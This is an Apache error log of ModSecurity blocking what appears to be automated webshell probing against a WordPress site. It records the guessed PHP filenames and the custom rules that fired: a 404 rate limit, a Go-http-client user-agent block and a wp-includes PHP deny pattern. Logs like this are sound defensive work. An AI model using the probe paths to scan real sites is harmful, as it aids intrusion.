[Sat Apr 11 09:03:25.168140 2026] [:error] [pid 13633:tid 13644] [client 20.111.36.240:27361] [client 20.111.36.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/Curve25519-items.php"] [unique_id "admd3WaKDA-4b93MwJx8owAAAQc"]
[Sat Apr 11 09:03:26.268462 2026] [:error] [pid 13721:tid 13735] [client 20.111.36.240:39792] [client 20.111.36.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/end.php"] [unique_id "admd3gtCFIRABSMvNE7CjwAAAAs"]
[Sat Apr 11 09:03:27.180049 2026] [:error] [pid 13634:tid 13685] [client 20.111.36.240:3978] [client 20.111.36.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/end.php"] [unique_id "admd33aB01qKsmKvEg83LwAAAVQ"]
[Sat Apr 11 09:03:27.928966 2026] [:error] [pid 13634:tid 13682] [client 20.111.36.240:24422] [client 20.111.36.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/end.php"] [unique_id "admd33aB01qKsmKvEg83MQAAAVE"]
[Sat Apr 11 09:03:28.738064 2026] [:error] [pid 13634:tid 13690] [client 20.111.36.240:25285] [client 20.111.36.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/end.php"] [unique_id "admd4HaB01qKsmKvEg83NAAAAVg"]
[Sat Apr 11 09:03:29.559304 2026] [:error] [pid 13721:tid 13746] [client 20.111.36.240:39222] [client 20.111.36.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/layout.php"] [unique_id "admd4QtCFIRABSMvNE7CogAAABY"]
[Sat Apr 11 09:03:30.428407 2026] [:error] [pid 13635:tid 13709] [client 20.111.36.240:37867] [client 20.111.36.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/layout.php"] [unique_id "admd4sCZeuwIgRXgWykEFAAAAZE"]
[Sat Apr 11 09:03:31.069898 2026] [:error] [pid 13721:tid 13735] [client 20.111.36.240:29265] [client 20.111.36.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/layout.php"] [unique_id "admd4wtCFIRABSMvNE7CpwAAAAs"]
[Sat Apr 11 09:03:31.755298 2026] [:error] [pid 13634:tid 13686] [client 20.111.36.240:20796] [client 20.111.36.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/layout.php"] [unique_id "admd43aB01qKsmKvEg83OQAAAVU"]
[Sat Apr 11 09:03:32.971051 2026] [:error] [pid 13634:tid 13674] [client 20.111.36.240:37878] [client 20.111.36.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/54Y7oaIvRCq.php"] [unique_id "admd5HaB01qKsmKvEg83QAAAAUk"]
[Sat Apr 11 09:03:34.302496 2026] [:error] [pid 13635:tid 13693] [client 20.111.36.240:25334] [client 20.111.36.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/54Y7oaIvRCq.php"] [unique_id "admd5sCZeuwIgRXgWykEHQAAAYE"]
[Sat Apr 11 09:03:35.218219 2026] [:error] [pid 13635:tid 13715] [client 20.111.36.240:34578] [client 20.111.36.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/54Y7oaIvRCq.php"] [unique_id "admd58CZeuwIgRXgWykEIQAAAZc"]
[Sat Apr 11 09:03:36.185629 2026] [:error] [pid 13721:tid 13731] [client 20.111.36.240:17514] [client 20.111.36.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/54Y7oaIvRCq.php"] [unique_id "admd6AtCFIRABSMvNE7CtgAAAAc"]
[Sat Apr 11 09:03:37.465726 2026] [:error] [pid 13721:tid 13742] [client 20.111.36.240:39190] [client 20.111.36.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/rss-functions-session.php"] [unique_id "admd6QtCFIRABSMvNE7CuwAAABI"]
[Sat Apr 11 09:03:38.537205 2026] [:error] [pid 13635:tid 13714] [client 20.111.36.240:22803] [client 20.111.36.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/rss-functions-session.php"] [unique_id "admd6sCZeuwIgRXgWykEJwAAAZY"]
[Sat Apr 11 09:03:39.220433 2026] [:error] [pid 13635:tid 13715] [client 20.111.36.240:35747] [client 20.111.36.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/rss-functions-session.php"] [unique_id "admd68CZeuwIgRXgWykELQAAAZc"]
[Sat Apr 11 09:03:40.361740 2026] [:error] [pid 13721:tid 13731] [client 20.111.36.240:32134] [client 20.111.36.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/rss-functions-session.php"] [unique_id "admd7AtCFIRABSMvNE7C1gAAAAc"]
[Sat Apr 11 09:03:41.200030 2026] [:error] [pid 13635:tid 13704] [client 20.111.36.240:30096] [client 20.111.36.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/QPGxhzdFios.php"] [unique_id "admd7cCZeuwIgRXgWykEPgAAAYw"]
[Sat Apr 11 09:03:42.545912 2026] [:error] [pid 13635:tid 13700] [client 20.111.36.240:12010] [client 20.111.36.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/QPGxhzdFios.php"] [unique_id "admd7sCZeuwIgRXgWykESgAAAYg"]
[Sat Apr 11 09:03:43.828555 2026] [:error] [pid 13634:tid 13689] [client 20.111.36.240:19131] [client 20.111.36.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/QPGxhzdFios.php"] [unique_id "admd73aB01qKsmKvEg83VwAAAVc"]
[Sat Apr 11 09:03:45.110002 2026] [:error] [pid 13633:tid 13639] [client 20.111.36.240:32764] [client 20.111.36.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/QPGxhzdFios.php"] [unique_id "admd8WaKDA-4b93MwJx8sAAAAQI"]
[Sat Apr 11 09:03:46.097316 2026] [:error] [pid 13721:tid 13742] [client 20.111.36.240:11990] [client 20.111.36.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/kmsOihDGg24.php"] [unique_id "admd8gtCFIRABSMvNE7DBQAAABI"]
[Sat Apr 11 09:03:47.040965 2026] [:error] [pid 13635:tid 13709] [client 20.111.36.240:39820] [client 20.111.36.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/kmsOihDGg24.php"] [unique_id "admd88CZeuwIgRXgWykEVgAAAZE"]
[Sat Apr 11 09:03:47.783841 2026] [:error] [pid 13634:tid 13667] [client 20.111.36.240:13412] [client 20.111.36.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/kmsOihDGg24.php"] [unique_id "admd83aB01qKsmKvEg83XAAAAUI"]
[Sat Apr 11 09:03:48.801811 2026] [:error] [pid 13633:tid 13637] [client 20.111.36.240:21239] [client 20.111.36.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/kmsOihDGg24.php"] [unique_id "admd9GaKDA-4b93MwJx8swAAAQA"]
[Sat Apr 11 09:03:49.480790 2026] [:error] [pid 13635:tid 13715] [client 20.111.36.240:11989] [client 20.111.36.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/class-wp-more.php"] [unique_id "admd9cCZeuwIgRXgWykEYAAAAZc"]
[Sat Apr 11 09:03:50.071606 2026] [:error] [pid 13635:tid 13696] [client 20.111.36.240:21226] [client 20.111.36.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/class-wp-more.php"] [unique_id "admd9sCZeuwIgRXgWykEaAAAAYQ"]
[Sat Apr 11 09:03:50.791432 2026] [:error] [pid 13635:tid 13694] [client 20.111.36.240:21190] [client 20.111.36.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/class-wp-more.php"] [unique_id "admd9sCZeuwIgRXgWykEbQAAAYI"]
[Sat Apr 11 09:03:51.419328 2026] [:error] [pid 13721:tid 13726] [client 20.111.36.240:25613] [client 20.111.36.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/class-wp-more.php"] [unique_id "admd9wtCFIRABSMvNE7DQAAAAAI"]
[Sat Apr 11 09:03:52.050873 2026] [:error] [pid 13721:tid 13727] [client 20.111.36.240:3618] [client 20.111.36.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zMjcvbswY.php"] [unique_id "admd-AtCFIRABSMvNE7DRgAAAAM"]
[Sat Apr 11 09:03:52.631889 2026] [:error] [pid 13721:tid 13745] [client 20.111.36.240:53401] [client 20.111.36.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zMjcvbswY.php"] [unique_id "admd-AtCFIRABSMvNE7DSgAAABU"]
[Sat Apr 11 09:03:53.381295 2026] [:error] [pid 13635:tid 13696] [client 20.111.36.240:17272] [client 20.111.36.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zMjcvbswY.php"] [unique_id "admd-cCZeuwIgRXgWykEdQAAAYQ"]
[Sat Apr 11 09:03:53.850623 2026] [:error] [pid 13633:tid 13660] [client 20.111.36.240:21220] [client 20.111.36.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zMjcvbswY.php"] [unique_id "admd-WaKDA-4b93MwJx8ugAAARc"]
[Sat Apr 11 09:03:54.547543 2026] [:error] [pid 13721:tid 13741] [client 20.111.36.240:12021] File does not exist: /usr/local/apache/htdocs/suspended-page/4SnNfidKMe3.php
[Sat Apr 11 09:42:44.783473 2026] [:error] [pid 34824:tid 34898] [client 157.15.40.61:60192] [client 157.15.40.61] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/media/system/js/core.js"] [unique_id "admnFF_rq5TGFWAbVHXeIQAAAZE"]
[Sat Apr 11 14:11:40.703470 2026] [:error] [pid 2186:tid 2191] [client 157.15.40.61:56966] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/style.php"] [unique_id "adnmHMibnOEEvcO8wPL9mwAAAIE"]
[Sat Apr 11 14:11:40.961593 2026] [:error] [pid 11067:tid 11086] [client 157.15.40.61:57013] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/style.php"] [unique_id "adnmHMW3w7N67R04YCKQ9wAAAFE"]
[Sat Apr 11 14:11:41.225113 2026] [:error] [pid 11067:tid 11092] [client 157.15.40.61:57043] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/style.php"] [unique_id "adnmHcW3w7N67R04YCKQ-AAAAFc"]
[Sat Apr 11 14:11:42.506187 2026] [:error] [pid 11067:tid 11089] [client 157.15.40.61:57098] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/style.php"] [unique_id "adnmHsW3w7N67R04YCKRqgAAAFQ"]
[Sat Apr 11 14:11:42.779014 2026] [:error] [pid 2297:tid 2304] [client 157.15.40.61:57347] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/style.php"] [unique_id "adnmHrXJS-Jji11jZk3Z4gAAAQM"]
[Sat Apr 11 14:11:43.939424 2026] [:error] [pid 2188:tid 2272] [client 157.15.40.61:57546] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/chosen.php"] [unique_id "adnmH4DhDA-Xtn2nRScKHAAAANA"]
[Sat Apr 11 14:11:46.007840 2026] [:error] [pid 11067:tid 11075] [client 157.15.40.61:57886] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/file.php"] [unique_id "adnmIsW3w7N67R04YCKSKQAAAEY"]
[Sat Apr 11 14:11:47.280915 2026] [:error] [pid 2297:tid 2304] [client 157.15.40.61:58111] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/flower.php"] [unique_id "adnmI7XJS-Jji11jZk3apwAAAQM"]
[Sat Apr 11 14:11:49.150918 2026] [:error] [pid 11067:tid 11070] [client 157.15.40.61:58420] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/gifclass.php"] [unique_id "adnmJcW3w7N67R04YCKSjwAAAEE"]
[Sat Apr 11 14:11:49.416947 2026] [:error] [pid 2188:tid 2274] [client 157.15.40.61:58466] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/bless.php"] [unique_id "adnmJYDhDA-Xtn2nRScKowAAANI"]
[Sat Apr 11 14:11:49.671986 2026] [:error] [pid 11067:tid 11088] [client 157.15.40.61:58510] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/class-t.api.php"] [unique_id "adnmJcW3w7N67R04YCKSzgAAAFM"]
[Sat Apr 11 14:11:50.461558 2026] [:error] [pid 2297:tid 2318] [client 157.15.40.61:58716] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/blurbs.php"] [unique_id "adnmJrXJS-Jji11jZk3bNwAAARE"]
[Sat Apr 11 14:11:53.095418 2026] [:error] [pid 2186:tid 2191] [client 157.15.40.61:58787] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/akcc.php"] [unique_id "adnmKcibnOEEvcO8wPL-WAAAAIE"]
[Sat Apr 11 14:11:54.552360 2026] [:error] [pid 2188:tid 2274] [client 157.15.40.61:59517] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/abcd.php"] [unique_id "adnmKoDhDA-Xtn2nRScLWgAAANI"]
[Sat Apr 11 14:11:54.807043 2026] [:error] [pid 11067:tid 11083] [client 157.15.40.61:59558] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/shelp.php"] [unique_id "adnmKsW3w7N67R04YCKUEQAAAE4"]
[Sat Apr 11 14:11:55.057577 2026] [:error] [pid 2187:tid 2241] [client 157.15.40.61:59615] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/cord.php"] [unique_id "adnmKw4J29_qQi0FkjiJMgAAAA0"]
[Sat Apr 11 14:11:56.337036 2026] [:error] [pid 11067:tid 11093] [client 157.15.40.61:59950] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/dex.php"] [unique_id "adnmLMW3w7N67R04YCKU3gAAAFg"]
[Sat Apr 11 14:11:57.846358 2026] [:error] [pid 2186:tid 2212] [client 157.15.40.61:60287] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/admin-ajax.php"] [unique_id "adnmLcibnOEEvcO8wPL-9gAAAJU"]
[Sat Apr 11 14:11:59.940436 2026] [:error] [pid 2186:tid 2210] [client 157.15.40.61:60802] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/file2.php"] [unique_id "adnmL8ibnOEEvcO8wPL_HAAAAJQ"]
[Sat Apr 11 14:12:00.193496 2026] [:error] [pid 11067:tid 11084] [client 157.15.40.61:60853] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/zwso.php"] [unique_id "adnmMMW3w7N67R04YCKWNgAAAE8"]
[Sat Apr 11 14:12:03.245452 2026] [:error] [pid 2188:tid 2280] [client 157.15.40.61:61221] [client 157.15.40.61] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/zwso.php"] [unique_id "adnmM4DhDA-Xtn2nRScMGgAAANg"]
